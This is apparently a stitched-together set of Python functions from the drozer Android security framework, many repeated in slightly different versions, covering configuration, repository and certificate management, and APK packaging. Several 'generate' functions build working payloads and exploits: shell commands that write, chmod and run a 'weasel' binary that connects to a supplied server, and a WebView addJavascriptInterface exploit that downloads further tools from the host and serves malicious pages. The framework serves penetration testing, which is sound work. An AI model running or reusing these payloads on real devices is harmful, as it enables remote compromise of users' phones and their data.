def loadClass(self, source, klass, relative_to=None): """ Load a Class from a local apk file (source) on the running Dalvik VM. """ if relative_to == None: relative_to = os.path.join(os.path.dirname(__file__), "..") elif relative_to.find(".py") >= 0 or relative_to.find(".pyc") >= 0: relative_to = os.path.dirname(relative_to) if not Module.cached_klass(".".join([source, klass])): loader = utils.ClassLoader( source, self.__get_cache_path(), self.__get_constructor(), self.klass('java.lang.ClassLoader').getSystemClassLoader(), relative_to=relative_to) loader.android_path = lambda: Configuration.library("android.jar") loader.dx_path = lambda: Configuration.executable( "dx.bat") if platform.system( ) == "Windows" else Configuration.executable("dx") """ javac not found """ loader.javac_path = lambda: Configuration.executable("javac") Module.cache_klass(".".join([source, klass]), loader.loadClass(klass)) return Module.get_cached_klass(".".join([source, klass]))
def __load_variables(self): """ Load extra variables, specified in the .drozer_config file. """ for key in Configuration.get_all_keys("vars"): self.variables[key] = Configuration.get("vars", key)
def trust(self, certificate, peer): """ Add the certificate to the SSL Known Hosts in the Configuration file, so we will always trust this host in future. """ Configuration.set("ssl-known-hosts", "%s|%d" % peer, self.digest(certificate))
def enable(cls, path): """ Re-add a drozer Module Repository to the collection, that was created manually or has previously been removed with #disable(). """ if cls.looks_like_repo(path): Configuration.set('repositories', path, path) else: raise UnknownRepository(path)
def disable(cls, path): """ Remove a drozer Module Repository from the collection, but leave the file system intact. """ if cls.is_repo(path): Configuration.delete('repositories', path) else: raise UnknownRepository(path)
def delete(cls, url): """ Removes a drozer remote, with the specified URL. """ if cls.get(url) != None: Configuration.delete('remotes', url) return True else: raise UnknownRemote(url)
def all(cls): """ Returns all known drozer remotes. If the [remotes] section does not exist in the configuration file, we create it and add a default repository. """ if not Configuration.has_section('remotes'): cls.create("https://raw.github.com/mwrlabs/drozer-modules/repository/") return Configuration.get_all_values('remotes')
def all(cls): """ Returns all known drozer remotes. If the [remotes] section does not exist in the configuration file, we create it and add a default repository. """ if not Configuration.has_section('remotes'): cls.create( "https://raw.github.com/mwrlabs/drozer-modules/repository/") return Configuration.get_all_values('remotes')
def create(cls, url): """ Create a new drozer remote, with the specified URL. If the URL already exists, no remote will be created. """ if cls.get(url) == None: Configuration.set('remotes', url, url) return True else: return False
def provision(self, path): """ Provision new CA Key Material. This will overwrite any existing CA. """ self.authority.create_ca() Configuration.set("ssl", "ca_path", path) fs.write(self.ca_certificate_path(), ca.CA.certificate_to_pem(self.authority.ca_cert)) fs.write(self.__ca_key_path(), ca.CA.pkey_to_pem(self.authority.ca_key)) return True
class Packager(command_wrapper.Wrapper): __aapt = Configuration.library("aapt") __aapt_osx = Configuration.library("aapt-osx") __aapt_exe = Configuration.library("aapt.exe") __apk_tool = Configuration.library("apktool.jar") __certificate = Configuration.library("certificate.pem") __key = Configuration.library("key.pk8") __java = Configuration.executable("java") ff = Configuration.path() __sign_apk = Configuration.library("signapk.jar") __endpoint = "endpoint.txt" __manifest = "AndroidManifest.xml" def __init__(self): self.__wd = self._get_wd() def apk_path(self, signed=True): if signed: return os.path.join(self.__wd, "agent.apk") else: return os.path.join(self.__wd, "agent-unsigned.apk") def endpoint_path(self): return os.path.join(self.__wd, "agent", "res", "raw", self.__endpoint) def manifest_path(self): return os.path.join(self.__wd, "agent", self.__manifest) def package(self): platform_name = platform.system() if platform_name == "Darwin": aapt = self.__aapt_osx elif platform_name == "Windows": aapt = self.__aapt_exe else: aapt = self.__aapt if self._execute([self.__java, "-jar", self.__apk_tool, "-q", "build", "-a", aapt, self.source_dir(), self.apk_path(False)]) != 0: raise RuntimeError("could not repack the agent sources") if self._execute([self.__java, "-jar", self.__sign_apk, self.__certificate, self.__key, self.apk_path(False), self.apk_path(True)]) != 0: raise RuntimeError("could not sign the agent package") return os.path.join(self.__wd, "agent.apk") def source_dir(self): return os.path.join(self.__wd, "agent") def unpack(self, name): if self._execute([self.__java, "-jar", self.__apk_tool, "-q", "decode", Configuration.library(name + ".apk"), self.source_dir()]) != 0: raise RuntimeError("could not unpack " + name)
def unpack(self, name): if self._execute([ self.__java, "-jar", self.__apk_tool, "decode", Configuration.library(name + ".apk"), "-o", self.source_dir() ]) != 0: raise RuntimeError("could not unpack " + name)
def make_jks_trust_store(self): """ Prepare a JKS TrustStore, for the CA. """ keytool = Configuration.executable('keytool') argv = [ keytool, "-import", "-trustcacerts", "-noprompt", "-alias", "drozerCA", "-file", self.ca_certificate_path(), "-keystore", self.__jks_path('drozer-ca'), "-storetype", "JKS", "-storepass", "drozer" ] if keytool != None: if os.spawnve(os.P_WAIT, argv[0], argv, os.environ) == 0: return self.__bks_path('drozer-ca') else: argv[0] = "keytool" print "Could not compile the JKS trust store, because keytool could not be located on your system." print "Run:" print " ".join(argv) return False
def make_bks_trust_store(self): """ Prepare a BouncyCastle TrustStore, for the CA. """ keytool = Configuration.executable('keytool') argv = [ keytool, "-import", "-trustcacerts", "-noprompt", "-alias", "drozerCA", "-file", self.ca_certificate_path(), "-keystore", self.__bks_path('drozer-ca'), "-storetype", "BKS", "-storepass", "drozer", "-provider", "org.bouncycastle.jce.provider.BouncyCastleProvider", "-providerpath", os.path.abspath( os.path.join(os.path.dirname(__file__), "bcprov-ext-jdk15on-1.46.jar")) ] if keytool != None: if os.spawnve(os.P_WAIT, argv[0], argv, os.environ) == 0: return self.__bks_path('drozer-ca') else: argv[0] = "keytool" print "Could not compile the BKS trust store, because keytool could not be located on your system." print "Run:" print " ".join(argv) return False
def make_jks_trust_store(self): """ Prepare a JKS TrustStore, for the CA. """ keytool = Configuration.executable('keytool') argv = [keytool, "-import", "-trustcacerts", "-noprompt", "-alias", "drozerCA", "-file", self.ca_certificate_path(), "-keystore", self.__jks_path('drozer-ca'), "-storetype", "JKS", "-storepass", "drozer"] if keytool != None: if os.spawnve(os.P_WAIT, argv[0], argv, os.environ) == 0: return self.__bks_path('drozer-ca') else: argv[0] = "keytool" print "Could not compile the JKS trust store, because keytool could not be located on your system." print "Run:" print " ".join(argv) return False
def make_bks_key_store(self, cn, p12_path, export_password, store_password, key_password): """ Prepare a BouncyCastle KeyStore from a PKCS12 bundle. """ keytool = Configuration.executable('keytool') argv = [ keytool, "-importkeystore", "-deststorepass", store_password, "-destkeypass", key_password, "-destkeystore", self.__bks_path(cn), "-deststoretype", "BKS", "-provider", "org.bouncycastle.jce.provider.BouncyCastleProvider", "-providerpath", os.path.abspath( os.path.join(os.path.dirname(__file__), "bcprov-ext-jdk15on-1.46.jar")), "-srckeystore", p12_path, "-srcstoretype", "PKCS12", "-srcstorepass", export_password, "-alias", "drozer" ] if keytool != None: if os.spawnve(os.P_WAIT, argv[0], argv, os.environ) == 0: return self.__bks_path(cn) else: argv[0] = "keytool" print "Could not compile the BKS keystore, because keytool could not be located on your system." print "Run:" print " ".join(argv) return False
def make_bks_trust_store(self): """ Prepare a BouncyCastle TrustStore, for the CA. """ keytool = Configuration.executable('keytool') argv = [keytool, "-import", "-trustcacerts", "-noprompt", "-alias", "drozerCA", "-file", self.ca_certificate_path(), "-keystore", self.__bks_path('drozer-ca'), "-storetype", "BKS", "-storepass", "drozer", "-provider", "org.bouncycastle.jce.provider.BouncyCastleProvider", "-providerpath", os.path.abspath(os.path.join(os.path.dirname(__file__), "bcprov-ext-jdk15on-1.46.jar"))] if keytool != None: if os.spawnve(os.P_WAIT, argv[0], argv, os.environ) == 0: return self.__bks_path('drozer-ca') else: argv[0] = "keytool" print "Could not compile the BKS trust store, because keytool could not be located on your system." print "Run:" print " ".join(argv) return False
def make_bks_key_store(self, cn, p12_path, export_password, store_password, key_password): """ Prepare a BouncyCastle KeyStore from a PKCS12 bundle. """ keytool = Configuration.executable('keytool') argv = [keytool, "-importkeystore", "-deststorepass", store_password, "-destkeypass", key_password, "-destkeystore", self.__bks_path(cn), "-deststoretype", "BKS", "-provider", "org.bouncycastle.jce.provider.BouncyCastleProvider", "-providerpath", os.path.abspath(os.path.join(os.path.dirname(__file__), "bcprov-ext-jdk15on-1.46.jar")), "-srckeystore", p12_path, "-srcstoretype", "PKCS12", "-srcstorepass", export_password, "-alias", "drozer"] if keytool != None: if os.spawnve(os.P_WAIT, argv[0], argv, os.environ) == 0: return self.__bks_path(cn) else: argv[0] = "keytool" print "Could not compile the BKS keystore, because keytool could not be located on your system." print "Run:" print " ".join(argv) return False
def loadClass(self, source, klass, relative_to=None): """ Load a Class from a local apk file (source) on the running Dalvik VM. """ if relative_to == None: relative_to = os.path.join(os.path.dirname(__file__), "..") elif relative_to.find(".py") >= 0 or relative_to.find(".pyc") >= 0: relative_to = os.path.dirname(relative_to) if not Module.cached_klass(".".join([source, klass])): loader = utils.ClassLoader(source, self.__get_cache_path(), self.__get_constructor(), self.klass('java.lang.ClassLoader').getSystemClassLoader(), relative_to=relative_to) loader.android_path = Configuration.library("android.jar") loader.dx_path = Configuration.executable("dx") loader.javac_path = Configuration.executable("javac") Module.cache_klass(".".join([source, klass]), loader.loadClass(klass)) return Module.get_cached_klass(".".join([source, klass]))
def ca_path(self, skip_default=False): """ Get the path to the CA Key Material, as defined by the configuration file. """ ca_path = Configuration.get("ssl", "ca_path") if ca_path == None and skip_default == False: ca_path = os.path.join(os.path.dirname(__file__), "embedded_ca") return ca_path
def get(cls, url): """ Get an instance of Remote, initialised with the remote settings. """ url = Configuration.get('remotes', url) if url != None: return cls(url) else: return None
def unpack(self, name): if ( self._execute( [ self.__java, "-jar", self.__apk_tool, "-q", "decode", Configuration.library(name + ".apk"), self.source_dir(), ] ) != 0 ): raise RuntimeError("could not unpack " + name)
def generate(self, arguments): self.format = "R" # we only support RAW format architecture = "armeabi" if arguments.working_directory != None: directory = arguments.working_directory elif self.__exploit != None: directory = self.__exploit.working_directory else: directory = "/data/data/com.android.browser" weasel = Configuration.library(os.path.join("weasel", architecture)) self.append(self.hexifyString("cd %s\n" % directory)) self.append(self.hexifyString("/system/bin/rm w\n")) self.append(self.hexifyString("echo -e \"%s\" > w\n" % "".join(map(lambda b: "\\0%.3o" % ord(b), fs.read(weasel))))) self.append(self.hexifyString("/system/bin/chmod 770 w\n")) self.append(self.hexifyString("./w %s %d\n" % arguments.server))
def generate(self, arguments): self.format = "R" # we only support RAW format architecture = "armeabi" if arguments.working_directory != None: directory = arguments.working_directory elif self.__exploit != None: directory = self.__exploit.working_directory else: directory = "/data/data/com.android.browser" weasel = Configuration.library(os.path.join("weasel", architecture, "w")) self.append(self.hexifyString("cd %s\n" % directory)) self.append(self.hexifyString("/system/bin/rm w\n")) self.append(self.hexifyString("echo -e \"%s\" > w\n" % "".join(map(lambda b: "\\0%.3o" % ord(b), fs.read(weasel))))) self.append(self.hexifyString("/system/bin/chmod 770 w\n")) self.append(self.hexifyString("./w %s %d\n" % arguments.server))
def generate(self, arguments): host = arguments.server[0] port = str(arguments.server[1]) # Load addjsi-exploit-functions.js functions_path = Configuration.library(os.path.join("scripts", "addjsi-exploit-functions.js")) drozer_js = fs.read(functions_path) # Save packageName and dataDir into variables drozer_js += "packageName = getPackageName();\n" drozer_js += "dataDir = \"/data/data/\" + packageName;\n" if arguments.no_context: # Add payload - normal weasel drozer_js += self._execute(self.payload.strip()) else: # # Add payload - libWebViewContext.so addition # # Write weasel and get server.settings drozer_js += self._execute(self.payload.strip() + " get server.settings") # Download additional tools additional_tools = self._weaselGet(host, port, "libWebViewContext.so") additional_tools += self._weaselGet(host, port, "agent.jar") drozer_js += self._execute(additional_tools) # Load libWebViewContext.so drozer_js += "loadLib(dataDir + \"/libWebViewContext.so\");\n" # Build server.settings and push server_settings = host + "," + port sys.stdout.write("Uploading server.settings...") if not self.upload(arguments, "/server.settings", server_settings): return # Upload libWebViewContext.so sys.stdout.write("Uploading libWebViewContext.so...") libPath = str(Configuration.library(os.path.join("WebViewContext", "libs", "armeabi", "libWebViewContext.so"))) if not self.upload(arguments, "/libWebViewContext.so", fs.read(libPath)): return path = self.generate_or_default_path(arguments.resource) exploit = """<html><script type="text/javascript" src="dz.js"></script></html>""" sys.stdout.write("Uploading blank page to /...") if not self.upload(arguments, "/", " "): return sys.stdout.write("Uploading exploit inclusion page to %s..." % path) if not self.upload(arguments, path, self.build_multipart({ ".*": exploit }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Uploading exploit to /dz.js...") if not self.upload(arguments, "/dz.js", self.build_multipart({ ".*": drozer_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Done. The exploit is available on: http://%s:%s%s\n" % (host, port, path.replace("\\",""))) sys.stdout.write("When using the MitM helper plugin for drozer: JS Location = http://%s:%s/dz.js\n" % (host, port))
class ProtocolSwitcher(Protocol): """ ProtocolSwitcher is a virtual protocol that can differentiate between different protocols being spoken to the drozer Server. If the incoming message starts with GET or POST, the server will route the connection to an HTTP server, otherwise it is connected to the drozer Server. """ protocol = None __web_root = path.join(path.dirname(__file__), "web_root") __file_provider = FileProvider({ "/": FileResource("/", path.join(__web_root, "index.html"), magic="I", reserved=False, type="text/html"), "/agent\\.apk": FileResource("/agent.apk", Configuration.library("standard-agent.apk"), type="application/vnd.android.package-archive"), "/agent\\.jar": FileResource("/agent.jar", Configuration.library("agent.jar"), reserved=False, type="application/vnd.android.package-archive"), "/drozer\\.png": FileResource("/drozer.png", path.join(__web_root, "drozer.png"), reserved=True, type="image/png"), "/favicon\\.png": FileResource("/favicon.png", path.join(__web_root, "favicon.png"), reserved=True, type="image/png"), "/index\\.html": FileResource("/index.html", path.join(__web_root, "index.html"), reserved=True, type="text/html"), "/jquery\\.js": FileResource("/jquery.js", path.join(__web_root, "jquery.js"), reserved=True, type="text/javascript"), "/labs\\.png": FileResource("/labs.png", path.join(__web_root, "labs.png"), reserved=True, type="image/png") }) __logger = getLogger(__name__) def __init__(self): pass def __chooseProtocol(self, data): """ Selects which protocol to be used, by inspecting the data. """ if data.startswith("DELETE") or data.startswith( "GET") or data.startswith("POST"): return HTTP(self.factory.credentials, self.__file_provider) elif data.startswith("COLLECT"): return ShellCollector() elif data.startswith("S"): return ShellServer() elif self.__file_provider.has_magic_for(data.strip()): return ByteStream(self.__file_provider) else: return Drozer() def connectionMade(self): """ When a connection is first established, no protocol is selected. """ self.__logger.debug("accepted incoming connection from " + str(self.transport.getPeer())) self.protocol = None def dataReceived(self, data): """ When data is received, we try to select a protocol. Future messages are routed to the appropriate handler. """ if self.protocol == None: protocol = self.__chooseProtocol(data) if protocol is not None: self.__logger.debug("switching protocol to " + protocol.name + " for " + str(self.transport.getPeer())) self.protocol = protocol self.protocol.makeConnection(self.transport) self.protocol.dataReceived(data) else: self.__logger.error("unrecognised protocol from " + str(self.transport.getPeer())) self.transport.loseConnection() else: self.protocol.dataReceived(data)
def all(cls): """ Returns all known drozer Repositories. """ return Configuration.get_all_values('repositories')
def generate(self, arguments): host = arguments.server[0] port = str(arguments.server[1]) # Load addjsi-exploit-functions.js functions_path = Configuration.library( os.path.join("scripts", "addjsi-exploit-functions.js")) drozer_js = fs.read(functions_path) # Save packageName and dataDir into variables drozer_js += "packageName = getPackageName();\n" drozer_js += "dataDir = \"/data/data/\" + packageName;\n" if arguments.no_context: # Add payload - normal weasel drozer_js += self._execute(self.payload.strip()) else: # # Add payload - libWebViewContext.so addition # # Write weasel and get server.settings drozer_js += self._execute(self.payload.strip() + " get server.settings") # Download additional tools additional_tools = self._weaselGet(host, port, "libWebViewContext.so") additional_tools += self._weaselGet(host, port, "agent.jar") drozer_js += self._execute(additional_tools) # Load libWebViewContext.so drozer_js += "loadLib(dataDir + \"/libWebViewContext.so\");\n" # Build server.settings and push server_settings = host + "," + port sys.stdout.write("Uploading server.settings...") if not self.upload(arguments, "/server.settings", server_settings): return # Upload libWebViewContext.so sys.stdout.write("Uploading libWebViewContext.so...") libPath = str( Configuration.library( os.path.join("WebViewContext", "libs", "armeabi", "libWebViewContext.so"))) if not self.upload(arguments, "/libWebViewContext.so", fs.read(libPath)): return path = self.generate_or_default_path(arguments.resource) exploit = """<html><script type="text/javascript" src="dz.js"></script></html>""" sys.stdout.write("Uploading blank page to /...") if not self.upload(arguments, "/", " "): return sys.stdout.write("Uploading exploit inclusion page to %s..." % path) if not self.upload(arguments, path, self.build_multipart({".*": exploit}, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Uploading exploit to /dz.js...") if not self.upload(arguments, "/dz.js", self.build_multipart({".*": drozer_js}, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write( "Done. The exploit is available on: http://%s:%s%s\n" % (host, port, path.replace("\\", ""))) sys.stdout.write( "When using the MitM helper plugin for drozer: JS Location = http://%s:%s/dz.js\n" % (host, port))
def trusted_certificate_for(self, peer): """ Fetches the trusted certificate for a peer. """ return Configuration.get("ssl-known-hosts", "%s|%d" % peer)